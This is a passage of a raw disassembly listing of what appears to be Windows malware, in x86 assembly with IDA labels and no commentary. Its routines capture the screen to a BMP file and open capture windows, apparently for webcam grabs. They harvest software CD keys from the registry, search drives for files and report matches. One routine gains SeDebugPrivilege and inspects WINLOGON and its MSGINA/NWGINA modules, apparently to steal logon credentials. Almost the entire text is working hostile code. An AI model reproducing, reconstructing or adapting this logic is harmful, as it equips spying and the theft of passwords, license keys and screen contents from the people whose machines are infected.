= dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_43F654 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4087E7 push 8 push edi call dword_43F670 push 0Ah push edi mov [ebp+var_8], eax call dword_43F670 push 0Ch push edi mov [ebp+var_C], eax call dword_43F670 cmp eax, 8 mov [ebp+var_10], eax ja short loc_408615 push 18h push edi call dword_43F670 mov ebx, 100h jmp short loc_408617 ; --------------------------------------------------------------------------- loc_408615: ; CODE XREF: sub_4085B3+50j xor ebx, ebx loc_408617: ; CODE XREF: sub_4085B3+60j push edi call dword_43F6B4 cmp eax, esi mov [ebp+var_4], eax jz loc_4087CC mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_43F6AC cmp eax, esi mov [ebp+var_1C], eax jz loc_4087D7 push eax push [ebp+var_4] call dword_43F544 cmp eax, esi jz loc_4087D7 cmp eax, 0FFFFFFFFh jz loc_4087D7 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_43F6B0 test eax, eax jz loc_4087D7 cmp ebx, esi jz short loc_4086D4 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_43F598 mov ebx, eax loc_4086D4: ; CODE XREF: sub_4085B3+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call near ptr 2630000h nop cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4087B7 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 2620000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call near ptr 2620000h nop cmp ebx, esi jz short loc_408799 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 2620000h loc_408799: ; CODE XREF: sub_4085B3+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 2620000h push [ebp+arg_0] nop call near ptr 2611A31h push 1 pop esi loc_4087B7: ; CODE XREF: sub_4085B3+1A2j push [ebp+var_1C] call dword_43F5CC push [ebp+var_4] call dword_43F530 mov edi, [ebp+var_20] loc_4087CC: ; CODE XREF: sub_4085B3+70j push edi call dword_43F530 mov eax, esi jmp short loc_4087E9 ; --------------------------------------------------------------------------- loc_4087D7: ; CODE XREF: sub_4085B3+C7j ; sub_4085B3+D9j ... push edi call dword_43F530 push [ebp+var_4] call dword_43F530 loc_4087E7: ; CODE XREF: sub_4085B3+23j xor eax, eax loc_4087E9: ; CODE XREF: sub_4085B3+222j pop edi pop esi pop ebx leave retn sub_4085B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087EE proc near ; CODE XREF: sub_40EE72+46EDp var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_43E100 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43F5C0 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_40882C mov eax, esi jmp loc_4089E2 ; --------------------------------------------------------------------------- loc_40882C: ; CODE XREF: sub_4087EE+35j push edi call dword_43F608 test eax, eax jz short loc_408849 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43F6C4 jmp short loc_40884B ; --------------------------------------------------------------------------- loc_408849: ; CODE XREF: sub_4087EE+47j xor eax, eax loc_40884B: ; CODE XREF: sub_4087EE+59j cmp eax, ebx jnz short loc_408856 loc_40884F: ; CODE XREF: sub_4087EE+88j ; sub_4087EE+BCj mov ebx, esi jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_408856: ; CODE XREF: sub_4087EE+5Fj push edi call dword_43F608 test eax, eax jz short loc_408873 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_43F6C4 loc_408873: ; CODE XREF: sub_4087EE+71j cmp [ebp+var_20], ebx jz short loc_40884F push edi call dword_43F608 test eax, eax mov edi, 42Ch jz short loc_408899 push ebx push ebx push edi push [ebp+var_4] call dword_43F6C4 mov [ebp+arg_4], eax jmp short loc_40889C ; --------------------------------------------------------------------------- loc_408899: ; CODE XREF: sub_4087EE+98j mov [ebp+arg_4], ebx loc_40889C: ; CODE XREF: sub_4087EE+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_40884F push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4088C3 push 1 pop ebx jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_4088C3: ; CODE XREF: sub_4087EE+CBj push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4088E0 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_4088E0: ; CODE XREF: sub_4087EE+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_417390 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_4088FB mov ecx, 280h loc_4088FB: ; CODE XREF: sub_4087EE+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_408907 mov eax, 1E0h loc_408907: ; CODE XREF: sub_4087EE+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43F608 test eax, eax mov edi, 42Dh jz short loc_408951 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_408951: ; CODE XREF: sub_4087EE+153j push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_40896E push ebx push ebx push 43Dh push [ebp+var_4] call dword_43F6C4 loc_40896E: ; CODE XREF: sub_4087EE+16Ej push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_40898D push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_43F6C4 loc_40898D: ; CODE XREF: sub_4087EE+18Bj push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4089AA push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_4089AA: ; CODE XREF: sub_4087EE+1AAj push [ebp+var_8] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4089D7 push ebx push ebx push 40Bh push [ebp+var_4] call dword_43F6C4 loc_4089D7: ; CODE XREF: sub_4087EE+63j ; sub_4087EE+D0j ... push [ebp+var_4] call dword_43F718 mov eax, ebx loc_4089E2: ; CODE XREF: sub_4087EE+39j pop edi pop esi pop ebx leave retn sub_4087EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089E7 proc near ; CODE XREF: sub_40EE72+47A6p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_43E100 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43F5C0 mov edi, eax cmp edi, ebx jnz short loc_408A25 mov eax, esi jmp loc_408C21 ; --------------------------------------------------------------------------- loc_408A25: ; CODE XREF: sub_4089E7+35j push edi call dword_43F608 test eax, eax jz short loc_408A42 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43F6C4 jmp short loc_408A44 ; --------------------------------------------------------------------------- loc_408A42: ; CODE XREF: sub_4089E7+47j xor eax, eax loc_408A44: ; CODE XREF: sub_4089E7+59j cmp eax, ebx jnz short loc_408A4F loc_408A48: ; CODE XREF: sub_4089E7+8Bj ; sub_4089E7+BCj mov ebx, esi jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408A4F: ; CODE XREF: sub_4089E7+5Fj push edi call dword_43F608 test eax, eax jz short loc_408A6F lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_43F6C4 loc_408A6F: ; CODE XREF: sub_4089E7+71j cmp [ebp+var_7C], ebx jz short loc_408A48 push edi call dword_43F608 test eax, eax jz short loc_408A92 push ebx push ebx push 42Ch push edi call dword_43F6C4 mov [ebp+arg_4], eax jmp short loc_408A95 ; --------------------------------------------------------------------------- loc_408A92: ; CODE XREF: sub_4089E7+96j mov [ebp+arg_4], ebx loc_408A95: ; CODE XREF: sub_4089E7+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_408A48 push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_408ABC push 1 pop ebx jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408ABC: ; CODE XREF: sub_4089E7+CBj push edi call dword_43F608 test eax, eax jz short loc_408AD9 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_43F6C4 loc_408AD9: ; CODE XREF: sub_4089E7+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_417390 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_408AF4 mov ecx, 0A0h loc_408AF4: ; CODE XREF: sub_4089E7+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_408AFE push 78h pop eax loc_408AFE: ; CODE XREF: sub_4089E7+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43F608 test eax, eax jz short loc_408B43 push esi push [ebp+arg_4] push 42Dh push edi call dword_43F6C4 loc_408B43: ; CODE XREF: sub_4089E7+14Aj push edi call dword_43F608 test eax, eax jz short loc_408B60 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_43F6C4 loc_408B60: ; CODE XREF: sub_4089E7+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_43F608 test eax, eax jz short loc_408B9E lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_43F6C4 loc_408B9E: ; CODE XREF: sub_4089E7+1A3j push edi call dword_43F608 test eax, eax jz short loc_408BB9 push [ebp+arg_0] push ebx push 414h push edi call dword_43F6C4 loc_408BB9: ; CODE XREF: sub_4089E7+1C0j push edi call dword_43F608 test eax, eax jz short loc_408BD2 push ebx push ebx push 43Eh push edi call dword_43F6C4 loc_408BD2: ; CODE XREF: sub_4089E7+1DBj push edi call dword_43F608 test eax, eax jz short loc_408BEF push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_43F6C4 loc_408BEF: ; CODE XREF: sub_4089E7+1F4j push [ebp+var_4] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push edi call dword_43F608 test eax, eax jz short loc_408C18 push ebx push ebx push 40Bh push edi call dword_43F6C4 loc_408C18: ; CODE XREF: sub_4089E7+63j ; sub_4089E7+D0j ... push edi call dword_43F718 mov eax, ebx loc_408C21: ; CODE XREF: sub_4089E7+39j pop edi pop esi pop ebx leave retn sub_4089E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C26 proc near ; CODE XREF: sub_40EE72+588Bp var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_42B894, ebx mov [ebp+var_C], 80h jz loc_408DC7 push esi push edi mov eax, offset off_42B894 mov esi, offset dword_42B8A0 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408C56: ; CODE XREF: sub_408C26+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43F6D8 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43F574 test eax, eax jnz loc_408DAD mov eax, [esi] cmp eax, ebx jz loc_408D71 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_4179A8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_408DAD push eax loc_408CCF: ; CODE XREF: sub_408C26+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41900C add esp, 0Ch test eax, eax jz loc_408D66 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_408CFC push [ebp+var_8] jmp short loc_408CCF ; --------------------------------------------------------------------------- loc_408CFC: ; CODE XREF: sub_408C26+CFj push 3Dh push dword ptr [esi+4] call sub_418F50 pop ecx test eax, eax pop ecx jz short loc_408D2A lea eax, [ebp+var_70] push offset asc_42CA98 ; "=" push eax call sub_418B6E push offset asc_42CA98 ; "=" push ebx call sub_418B6E add esp, 10h jmp short loc_408D2D ; --------------------------------------------------------------------------- loc_408D2A: ; CODE XREF: sub_408C26+E4j lea eax, [ebp+var_70] loc_408D2D: ; CODE XREF: sub_408C26+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 18h loc_408D66: ; CODE XREF: sub_408C26+B9j push [ebp+var_8] call sub_417900 pop ecx jmp short loc_408DAD ; --------------------------------------------------------------------------- loc_408D71: ; CODE XREF: sub_408C26+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 28h loc_408DAD: ; CODE XREF: sub_408C26+60j ; sub_408C26+A2j ... push [ebp+var_4] call dword_43F644 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_408C56 pop edi pop esi loc_408DC7: ; CODE XREF: sub_408C26+19j pop ebx leave retn sub_408C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408DCA proc near ; DATA XREF: sub_40EE72+3D62o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_417AB0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_408E1F lea eax, [ebp+var_114] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_115], bl loc_408E1F: ; CODE XREF: sub_408DCA+3Fj lea eax, [ebp+var_218] push eax push offset unk_42CAEC lea eax, [ebp+var_49C] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408E64 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408E64: ; CODE XREF: sub_408DCA+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_408EE5 add esp, 18h push eax lea eax, [ebp+var_49C] push offset unk_42CABC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_408EC5 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408EC5: ; CODE XREF: sub_408DCA+D9j lea eax, [ebp+var_49C] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 25E02EAh pop edi pop esi pop ebx sub_408DCA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EE5 proc near ; CODE XREF: sub_408DCA+B9p ; sub_408EE5+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_41782A mov edi, dword_4240BC add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408FA2 loc_408F31: ; CODE XREF: sub_408EE5+BBj test [ebp+var_144], 10h jz short loc_408F8E cmp [ebp+var_118], 2Eh jnz short loc_408F55 cmp [ebp+var_117], 0 jz short loc_408F8E cmp [ebp+var_117], 2Eh jz short loc_408F8E loc_408F55: ; CODE XREF: sub_408EE5+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41782A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_408EE5 add esp, 2Ch mov [ebp+arg_14], eax loc_408F8E: ; CODE XREF: sub_408EE5+53j ; sub_408EE5+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] nop call near ptr 2690000h test eax, eax jnz short loc_408F31 loc_408FA2: ; CODE XREF: sub_408EE5+4Aj push [ebp+var_4] nop call near ptr 26703ADh push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409028 loc_408FD9: ; CODE XREF: sub_408EE5+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h lea eax, [ebp+var_144] push eax push esi nop call near ptr 2690000h test eax, eax jnz short loc_408FD9 loc_409028: ; CODE XREF: sub_408EE5+F2j push esi nop call near ptr 26703ADh mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_408EE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409037 proc near ; DATA XREF: sub_40EE72+5237o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_40B78A cmp eax, esi mov [ebp+var_4], eax jz short loc_409076 cmp eax, 2 jz short loc_409076 push offset unk_42CD60 jmp loc_4091B5 ; --------------------------------------------------------------------------- loc_409076: ; CODE XREF: sub_409037+2Ej ; sub_409037+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx test eax, eax pop ecx jz loc_4091B0 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26D0C95h mov esi, dword_4240DC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_43F314, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_43F308, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_43F518, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_43F310, eax call esi mov dword_43F30C, eax call sub_409209 test eax, eax mov [ebp+arg_0], eax jz loc_409183 mov esi, dword_4240D8 mov edi, 400h mov ebx, offset dword_43E308 push edi push ebx push offset off_42CC9C call esi push edi mov edi, offset dword_43EB08 push edi push offset off_42CC84 call esi cmp [ebp+var_4], 1 push offset dword_43F520 push [ebp+arg_0] jnz short loc_40912F call sub_409392 jmp short loc_409134 ; --------------------------------------------------------------------------- loc_40912F: ; CODE XREF: sub_409037+EFj call sub_409539 loc_409134: ; CODE XREF: sub_409037+F6j pop ecx test eax, eax pop ecx jz short loc_40917C cmp dword_43F520, 0 jnz short loc_409163 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_42CC0C push 200h push eax call sub_41782A add esp, 18h jmp short loc_409196 ; --------------------------------------------------------------------------- loc_409163: ; CODE XREF: sub_409037+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_409173 call sub_40966F jmp short loc_409178 ; --------------------------------------------------------------------------- loc_409173: ; CODE XREF: sub_409037+133j call sub_409706 loc_409178: ; CODE XREF: sub_409037+13Aj pop ecx push eax jmp short loc_409188 ; --------------------------------------------------------------------------- loc_40917C: ; CODE XREF: sub_409037+101j push offset unk_42CBC4 jmp short loc_409188 ; --------------------------------------------------------------------------- loc_409183: ; CODE XREF: sub_409037+B6j push offset unk_42CB80 loc_409188: ; CODE XREF: sub_409037+143j ; sub_409037+14Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_409196: ; CODE XREF: sub_409037+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push [ebp+var_8] nop call near ptr 26C074Dh pop ebx jmp short loc_4091C3 ; --------------------------------------------------------------------------- loc_4091B0: ; CODE XREF: sub_409037+4Ej push offset unk_42CB3C loc_4091B5: ; CODE XREF: sub_409037+3Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_4091C3: ; CODE XREF: sub_409037+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4091EA push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40D679 add esp, 14h loc_4091EA: ; CODE XREF: sub_409037+191j lea eax, [ebp+var_29C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi call near ptr 25E02EAh nop pop edi pop esi sub_409037 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409209 proc near ; CODE XREF: sub_409037+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_4240EC mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_4240E8 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_43F314 push ebp push 0 call esi push eax nop call near ptr 26E0000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_43F314 test eax, eax jnz short loc_4092F6 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4092F6 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4092F6 loc_409292: ; CODE XREF: sub_409209+EBj cmp word ptr [ebx+8], 5 jnz short loc_4092E9 push 0 push 0 call dword_43F308 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_43F518 test eax, eax jnz short loc_4092DA mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40930E loc_4092DA: ; CODE XREF: sub_409209+AAj test edi, edi jz short loc_4092E5 push edi call dword_43F310 loc_4092E5: ; CODE XREF: sub_409209+D3j mov eax, [esp+28h+var_10] loc_4092E9: ; CODE XREF: sub_409209+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_409292 loc_4092F6: ; CODE XREF: sub_409209+6Dj ; sub_409209+7Aj ... xor edi, edi loc_4092F8: ; CODE XREF: sub_409209+17Dj push ebp push 0 call esi push eax call near ptr 26E0000h nop mov eax, edi loc_409306: ; CODE XREF: sub_409209+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_40930E: ; CODE XREF: sub_409209+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_409377 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_409324: ; CODE XREF: sub_409209+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40938B push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_409369 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_409369: ; CODE XREF: sub_409209+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_409324 loc_409377: ; CODE XREF: sub_409209+10Fj test edi, edi jz short loc_409382 push edi call dword_43F310 loc_409382: ; CODE XREF: sub_409209+170j mov edi, [esp+28h+var_4] jmp loc_4092F8 ; --------------------------------------------------------------------------- loc_40938B: ; CODE XREF: sub_409209+13Cj xor eax, eax jmp loc_409306 sub_409209 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409392 proc near ; CODE XREF: sub_409037+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 